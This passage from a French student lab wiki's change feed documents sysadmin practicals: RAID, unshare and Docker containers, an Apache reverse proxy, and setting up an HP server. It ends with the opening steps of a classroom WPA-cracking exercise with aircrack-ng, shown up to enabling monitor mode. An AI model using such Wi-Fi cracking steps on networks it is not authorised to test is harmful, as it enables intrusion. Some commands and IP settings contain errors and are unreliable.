  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;br /&gt;
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.&lt;br /&gt;
Pour ce faire, nous utiliserons l'utilitaire mdadm.&lt;br /&gt;
&lt;br /&gt;
Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.&lt;br /&gt;
&lt;br /&gt;
Nous allons donc créer le raid5 sur /dev/md0&lt;br /&gt;
&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&lt;br /&gt;
On créé ensuite un filesystem dans la nouvelle partition raid :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On créé un point de montage et on monte la partition :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_raid5&lt;br /&gt;
  mount /dev/md0 /mnt_raid5&lt;br /&gt;
&lt;br /&gt;
On automatise la création de la grappe :&lt;br /&gt;
&lt;br /&gt;
  mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0 /mnt_raid5/ ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
Le lancement de la commande suivante permet de confirmer que tout est ok :&lt;br /&gt;
&lt;br /&gt;
  mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Raid5.png|center]]&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Raid5.png&amp;diff=48743</id>
		<title>Fichier:Raid5.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Raid5.png&amp;diff=48743"/>
				<updated>2018-12-15T18:57:21Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48742</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48742"/>
				<updated>2018-12-15T18:44:57Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Utilisation de partitions virtuelles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
